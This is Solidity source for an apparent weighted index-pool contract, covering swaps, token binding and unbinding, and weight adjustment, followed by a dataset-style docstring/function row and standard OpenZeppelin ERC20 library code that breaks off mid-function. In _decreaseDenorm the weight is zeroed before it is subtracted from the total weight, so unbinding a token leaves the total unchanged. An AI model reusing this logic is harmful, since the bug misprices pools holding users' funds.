returns (uint256 tokenAmountIn, uint256 spotPriceAfter)
{
(Record memory inRecord, uint256 realInBalance) = _getInputToken(tokenIn);
Record memory outRecord = _getOutputToken(tokenOut);
require(
tokenAmountOut <= bmul(outRecord.balance, MAX_OUT_RATIO),
"ERR_MAX_OUT_RATIO"
);
uint256 spotPriceBefore = calcSpotPrice(
inRecord.balance,
inRecord.denorm,
outRecord.balance,
outRecord.denorm,
_swapFee
);
require(spotPriceBefore <= maxPrice, "ERR_BAD_LIMIT_PRICE");
tokenAmountIn = calcInGivenOut(
inRecord.balance,
inRecord.denorm,
outRecord.balance,
outRecord.denorm,
tokenAmountOut,
_swapFee
);
require(tokenAmountIn <= maxAmountIn, "ERR_LIMIT_IN");
_pullUnderlying(tokenIn, msg.sender, tokenAmountIn);
_pushUnderlying(tokenOut, msg.sender, tokenAmountOut);
// Update the balance and (if necessary) weight of the input token.
realInBalance = badd(realInBalance, tokenAmountIn);
_updateInputToken(tokenIn, inRecord, realInBalance);
if (inRecord.ready) {
inRecord.balance = realInBalance;
}
// Update the in-memory record for the spotPriceAfter calculation,
// then update the storage record with the local balance.
outRecord.balance = bsub(outRecord.balance, tokenAmountOut);
_records[tokenOut].balance = outRecord.balance;
// If needed, update the output token's weight.
_decreaseDenorm(outRecord, tokenOut);
spotPriceAfter = calcSpotPrice(
inRecord.balance,
inRecord.denorm,
outRecord.balance,
outRecord.denorm,
_swapFee
);
require(spotPriceAfter >= spotPriceBefore, "ERR_MATH_APPROX");
require(spotPriceAfter <= maxPrice, "ERR_LIMIT_PRICE");
require(
spotPriceBefore <= bdiv(tokenAmountIn, tokenAmountOut),
"ERR_MATH_APPROX"
);
emit LOG_SWAP(msg.sender, tokenIn, tokenOut, tokenAmountIn, tokenAmountOut);
return (tokenAmountIn, spotPriceAfter);
}
/* --- Config Queries --- */
/**
* @dev Check if swapping tokens and joining the pool is allowed.
*/
function isPublicSwap() external view returns (bool isPublic) {
isPublic = _publicSwap;
}
function getSwapFee() external view returns (uint256 swapFee) {
swapFee = _swapFee;
}
/**
* @dev Returns the controller address.
*/
function getController()
external
view
returns (address controller)
{
controller = _controller;
}
/* --- Token Queries --- */
function getMaxPoolTokens() external view returns (uint256) {
return _maxPoolTokens;
}
/**
* @dev Check if a token is bound to the pool.
*/
function isBound(address t) external view returns (bool) {
return _records[t].bound;
}
/**
* @dev Get the number of tokens bound to the pool.
*/
function getNumTokens() external
view
returns (uint256 num)
{
num = _tokens.length;
}
/**
* @dev Get all bound tokens.
*/
function getCurrentTokens()
external
view
returns (address[] memory tokens)
{
return _tokens;
}
/**
* @dev Returns the list of tokens which have a desired weight above 0.
* Tokens with a desired weight of 0 are set to be phased out of the pool.
*/
function getCurrentDesiredTokens()
external
view
returns (address[] memory tokens)
{
address[] memory tempTokens = _tokens;
tokens = new address[](tempTokens.length);
uint256 usedIndex = 0;
for (uint256 i = 0; i < tokens.length; i++) {
address token = tempTokens[i];
Record memory record = _records[token];
if (record.desiredDenorm > 0) {
tokens[usedIndex++] = token;
}
}
assembly { mstore(tokens, usedIndex) }
}
/**
* @dev Get the denormalized weight of a bound token.
*/
function getDenormalizedWeight(address token)
external
view
returns (uint256 denorm)
{
require(_records[token].bound, "ERR_NOT_BOUND");
denorm = _records[token].denorm;
}
/**
* @dev Get the record for a token bound to the pool.
*/
function getTokenRecord(address token)
external
view
returns (Record memory record)
{
record = _records[token];
require(record.bound, "ERR_NOT_BOUND");
}
/**
* @dev Finds the first token which is initialized and
* returns the address of that token and the extrapolated
* value of the pool in that token.
*
* The value is extrapolated by multiplying the token's
* balance by the reciprocal of its normalized weight.
*/
function extrapolatePoolValueFromToken()
external
view
returns (address token, uint256 extrapolatedValue)
{
uint256 len = _tokens.length;
for (uint256 i = 0; i < len; i++) {
token = _tokens[i];
if (!_records[token].ready) continue;
extrapolatedValue = bmul(
_records[token].balance,
bdiv(_totalWeight, _records[token].denorm)
);
break;
}
require(extrapolatedValue > 0, "ERR_NONE_READY");
}
/**
* @dev Get the total denormalized weight of the pool.
*/
function getTotalDenormalizedWeight()
external
view
returns (uint256 totalDenorm)
{
totalDenorm = _totalWeight;
}
/**
* @dev Get the stored balance of a bound token.
*/
function getBalance(address token)
external
view
returns (uint256 balance)
{
Record memory record = _records[token];
require(record.bound, "ERR_NOT_BOUND");
balance = record.balance;
}
/**
* @dev Get the minimum balance of an uninitialized token.
* Note: Throws if the token is initialized.
*/
function getMinimumBalance(address token)
external
view
returns (uint256 minimumBalance)
{
Record memory record = _records[token];
require(record.bound, "ERR_NOT_BOUND");
require(!record.ready, "ERR_READY");
minimumBalance = _minimumBalances[token];
}
/**
* @dev Get the balance of a token which is used in price
* calculations. If the token is initialized, this is the
* stored balance; if not, this is the minimum balance.
*/
function getUsedBalance(address token)
external
view
returns (uint256 usedBalance)
{
Record memory record = _records[token];
require(record.bound, "ERR_NOT_BOUND");
if (!record.ready) {
usedBalance = _minimumBalances[token];
} else {
usedBalance = record.balance;
}
}
/* --- Price Queries --- */
/**
* @dev Get the spot price for `tokenOut` in terms of `tokenIn`.
*/
function getSpotPrice(address tokenIn, address tokenOut)
external
view
returns (uint256 spotPrice)
{
(Record memory inRecord,) = _getInputToken(tokenIn);
Record memory outRecord = _getOutputToken(tokenOut);
return
calcSpotPrice(
inRecord.balance,
inRecord.denorm,
outRecord.balance,
outRecord.denorm,
_swapFee
);
}
/* --- Pool Share Internal Functions --- */
function _pullPoolShare(address from, uint256 amount) internal {
_pull(from, amount);
}
function _pushPoolShare(address to, uint256 amount) internal {
_push(to, amount);
}
function _mintPoolShare(uint256 amount) internal {
_mint(amount);
}
function _burnPoolShare(uint256 amount) internal {
_burn(amount);
}
/* --- Underlying Token Internal Functions --- */
// 'Underlying' token-manipulation functions make external calls but are NOT locked
// You must `_lock_` or otherwise ensure reentry-safety
function _pullUnderlying(
address erc20,
address from,
uint256 amount
) internal {
(bool success, bytes memory data) = erc20.call(
abi.encodeWithSelector(
IERC20.transferFrom.selector,
from,
address(this),
amount
)
);
require(
success && (data.length == 0 || abi.decode(data, (bool))),
"ERR_ERC20_FALSE"
);
}
function _pushUnderlying(
address erc20,
address to,
uint256 amount
) internal {
(bool success, bytes memory data) = erc20.call(
abi.encodeWithSelector(
IERC20.transfer.selector,
to,
amount
)
);
require(
success && (data.length == 0 || abi.decode(data, (bool))),
"ERR_ERC20_FALSE"
);
}
/* --- Token Management Internal Functions --- */
/**
* @dev Bind a token by address without actually depositing a balance.
* The token will be unable to be swapped out until it reaches the minimum balance.
* Note: Token must not already be bound.
* Note: `minimumBalance` should represent an amount of the token which is worth
* the portion of the current pool value represented by the minimum weight.
* @param token Address of the token to bind
* @param minimumBalance minimum balance to reach before the token can be swapped out
* @param desiredDenorm Desired weight for the token.
*/
function _bind(
address token,
uint256 minimumBalance,
uint96 desiredDenorm
) internal {
require(!_records[token].bound, "ERR_IS_BOUND");
require(desiredDenorm >= MIN_WEIGHT, "ERR_MIN_WEIGHT");
require(desiredDenorm <= MAX_WEIGHT, "ERR_MAX_WEIGHT");
require(minimumBalance >= MIN_BALANCE, "ERR_MIN_BALANCE");
_records[token] = Record({
bound: true,
ready: false,
lastDenormUpdate: 0,
denorm: 0,
desiredDenorm: desiredDenorm,
index: uint8(_tokens.length),
balance: 0
});
_tokens.push(token);
_minimumBalances[token] = minimumBalance;
emit LOG_TOKEN_ADDED(token, desiredDenorm, minimumBalance);
}
/**
* @dev Remove a token from the pool.
* Replaces the address in the tokens array with the last address,
* then removes it from the array.
* Note: This should only be called after the total weight has been adjusted.
* Note: Must be called in a function with:
* - _lock_ modifier to prevent reentrance
* - requirement that the token is bound
*/
function _unbind(address token) internal {
Record memory record = _records[token];
uint256 tokenBalance = record.balance;
// Swap the token-to-unbind with the last token,
// then delete the last token
uint256 index = record.index;
uint256 last = _tokens.length - 1;
// Only swap the token with the last token if it is not
// already at the end of the array.
if (index != last) {
_tokens[index] = _tokens[last];
_records[_tokens[index]].index = uint8(index);
}
_tokens.pop();
_records[token] = Record({
bound: false,
ready: false,
lastDenormUpdate: 0,
denorm: 0,
desiredDenorm: 0,
index: 0,
balance: 0
});
// transfer any remaining tokens out
_pushUnderlying(token, address(_unbindHandler), tokenBalance);
_unbindHandler.handleUnbindToken(token, tokenBalance);
emit LOG_TOKEN_REMOVED(token);
}
function _setDesiredDenorm(address token, uint96 desiredDenorm) internal {
Record memory record = _records[token];
require(record.bound, "ERR_NOT_BOUND");
// If the desired weight is 0, this will trigger a gradual unbinding of the token.
// Therefore the weight only needs to be above the minimum weight if it isn't 0.
require(
desiredDenorm >= MIN_WEIGHT || desiredDenorm == 0,
"ERR_MIN_WEIGHT"
);
require(desiredDenorm <= MAX_WEIGHT, "ERR_MAX_WEIGHT");
record.desiredDenorm = desiredDenorm;
_records[token].desiredDenorm = desiredDenorm;
emit LOG_DESIRED_DENORM_SET(token, desiredDenorm);
}
function _increaseDenorm(Record memory record, address token) internal {
// If the weight does not need to increase or the token is not
// initialized, don't do anything.
if (
record.denorm >= record.desiredDenorm ||
!record.ready ||
now - record.lastDenormUpdate < WEIGHT_UPDATE_DELAY
) return;
uint96 oldWeight = record.denorm;
uint96 denorm = record.desiredDenorm;
uint256 maxDiff = bmul(oldWeight, WEIGHT_CHANGE_PCT);
uint256 diff = bsub(denorm, oldWeight);
if (diff > maxDiff) {
denorm = uint96(badd(oldWeight, maxDiff));
diff = maxDiff;
}
_totalWeight = badd(_totalWeight, diff);
require(_totalWeight <= MAX_TOTAL_WEIGHT, "ERR_MAX_TOTAL_WEIGHT");
// Update the in-memory denorm value for spot-price computations.
record.denorm = denorm;
// Update the storage record
_records[token].denorm = denorm;
_records[token].lastDenormUpdate = uint40(now);
emit LOG_DENORM_UPDATED(token, denorm);
}
function _decreaseDenorm(Record memory record, address token) internal {
// If the weight does not need to decrease, don't do anything.
if (
record.denorm <= record.desiredDenorm ||
!record.ready ||
now - record.lastDenormUpdate < WEIGHT_UPDATE_DELAY
) return;
uint96 oldWeight = record.denorm;
uint96 denorm = record.desiredDenorm;
uint256 maxDiff = bmul(oldWeight, WEIGHT_CHANGE_PCT);
uint256 diff = bsub(oldWeight, denorm);
if (diff > maxDiff) {
denorm = uint96(bsub(oldWeight, maxDiff));
diff = maxDiff;
}
if (denorm <= MIN_WEIGHT) {
denorm = 0;
_totalWeight = bsub(_totalWeight, denorm);
// Because this is removing the token from the pool, the
// in-memory denorm value is irrelevant, as it is only used
// to calculate the new spot price, but the spot price calc
// will throw if it is passed 0 for the denorm.
_unbind(token);
} else {
_totalWeight = bsub(_totalWeight, diff);
// Update the in-memory denorm value for spot-price computations.
record.denorm = denorm;
// Update the stored denorm value
_records[token].denorm = denorm;
_records[token].lastDenormUpdate = uint40(now);
emit LOG_DENORM_UPDATED(token, denorm);
}
}
/**
* @dev Handles weight changes and initialization of an
* input token.
*
* If the token is not initialized and the new balance is
* still below the minimum, this will not do anything.
*
* If the token is not initialized but the new balance will
* bring the token above the minimum balance, this will
* mark the token as initialized, remove the minimum
* balance and set the weight to the minimum weight plus
* 1%.
*
*
* @param token Address of the input token
* @param record Token record with minimums applied to the balance
* and weight if the token was uninitialized.
*/
function _updateInputToken(
address token,
Record memory record,
uint256 realBalance
)
internal
{
if (!record.ready) {
// Check if the minimum balance has been reached
if (realBalance >= record.balance) {
// Remove the minimum balance record
_minimumBalances[token] = 0;
// Mark the token as initialized
_records[token].ready = true;
record.ready = true;
emit LOG_TOKEN_READY(token);
// Set the initial denorm value to the minimum weight times one plus
// the ratio of the increase in balance over the minimum to the minimum
// balance.
// weight = (1 + ((bal - min_bal) / min_bal)) * min_weight
uint256 additionalBalance = bsub(realBalance, record.balance);
uint256 balRatio = bdiv(additionalBalance, record.balance);
record.denorm = uint96(badd(MIN_WEIGHT, bmul(MIN_WEIGHT, balRatio)));
_records[token].denorm = record.denorm;
_records[token].lastDenormUpdate = uint40(now);
_totalWeight = badd(_totalWeight, record.denorm);
} else {
uint256 realToMinRatio = bdiv(
bsub(record.balance, realBalance),
record.balance
);
uint256 weightPremium = bmul(MIN_WEIGHT / 10, realToMinRatio);
record.denorm = uint96(badd(MIN_WEIGHT, weightPremium));
}
// If the token is still not ready, do not adjust the weight.
} else {
// If the token is already initialized, update the weight (if any adjustment
// is needed).
_increaseDenorm(record, token);
}
// Regardless of whether the token is initialized, store the actual new balance.
_records[token].balance = realBalance;
}
/* --- Token Query Internal Functions --- */
/**
* @dev Get the record for a token which is being swapped in.
* The token must be bound to the pool. If the token is not
* initialized (meaning it does not have the minimum balance)
* this function will return the actual balance of the token
* which the pool holds, but set the record's balance and weight
* to the token's minimum balance and the pool's minimum weight.
* This allows the token swap to be priced correctly even if the
* pool does not own any of the tokens.
*/
function _getInputToken(address token)
internal
view
returns (Record memory record, uint256 realBalance)
{
record = _records[token];
require(record.bound, "ERR_NOT_BOUND");
realBalance = record.balance;
// If the input token is not initialized, we use the minimum
// initial weight and minimum initial balance instead of the
// real values for price and output calculations.
if (!record.ready) {
record.balance = _minimumBalances[token];
uint256 realToMinRatio = bdiv(
bsub(record.balance, realBalance),
record.balance
);
uint256 weightPremium = bmul(MIN_WEIGHT / 10, realToMinRatio);
record.denorm = uint96(badd(MIN_WEIGHT, weightPremium));
}
}
function _getOutputToken(address token)
internal
view
returns (Record memory record)
{
record = _records[token];
require(record.bound, "ERR_NOT_BOUND");
// Tokens which have not reached their minimum balance can not be
// swapped out.
require(record.ready, "ERR_OUT_NOT_READY");
}
}
interface TokenUnbindHandler {
/**
* @dev Receive `amount` of `token` from the pool.
*/
function handleUnbindToken(address token, uint256 amount) external;
}
|
* @dev Burn up to `maxPoolAmountIn` for exactly `tokenAmountOut` of `tokenOut`. Returns the number of pool tokens burned. The pool implicitly burns the tokens for all underlying tokens and swaps them to the desired output token. A swap fee is charged against the output tokens./
|
function exitswapExternAmountOut(
address tokenOut,
uint256 tokenAmountOut,
uint256 maxPoolAmountIn
)
external
_lock_
returns (uint256 poolAmountIn)
{
Record memory outRecord = _getOutputToken(tokenOut);
require(
tokenAmountOut <= bmul(outRecord.balance, MAX_OUT_RATIO),
"ERR_MAX_OUT_RATIO"
);
poolAmountIn = calcPoolInGivenSingleOut(
outRecord.balance,
outRecord.denorm,
_totalSupply,
_totalWeight,
tokenAmountOut,
_swapFee
);
require(poolAmountIn != 0, "ERR_MATH_APPROX");
require(poolAmountIn <= maxPoolAmountIn, "ERR_LIMIT_IN");
_pushUnderlying(tokenOut, msg.sender, tokenAmountOut);
_records[tokenOut].balance = bsub(outRecord.balance, tokenAmountOut);
_decreaseDenorm(outRecord, tokenOut);
uint256 exitFee = bmul(poolAmountIn, EXIT_FEE);
emit LOG_EXIT(msg.sender, tokenOut, tokenAmountOut);
_pullPoolShare(msg.sender, poolAmountIn);
_burnPoolShare(bsub(poolAmountIn, exitFee));
_pushPoolShare(_controller, exitFee);
return poolAmountIn;
}
| 2,560,680
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// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.6.12;
//
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
//
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
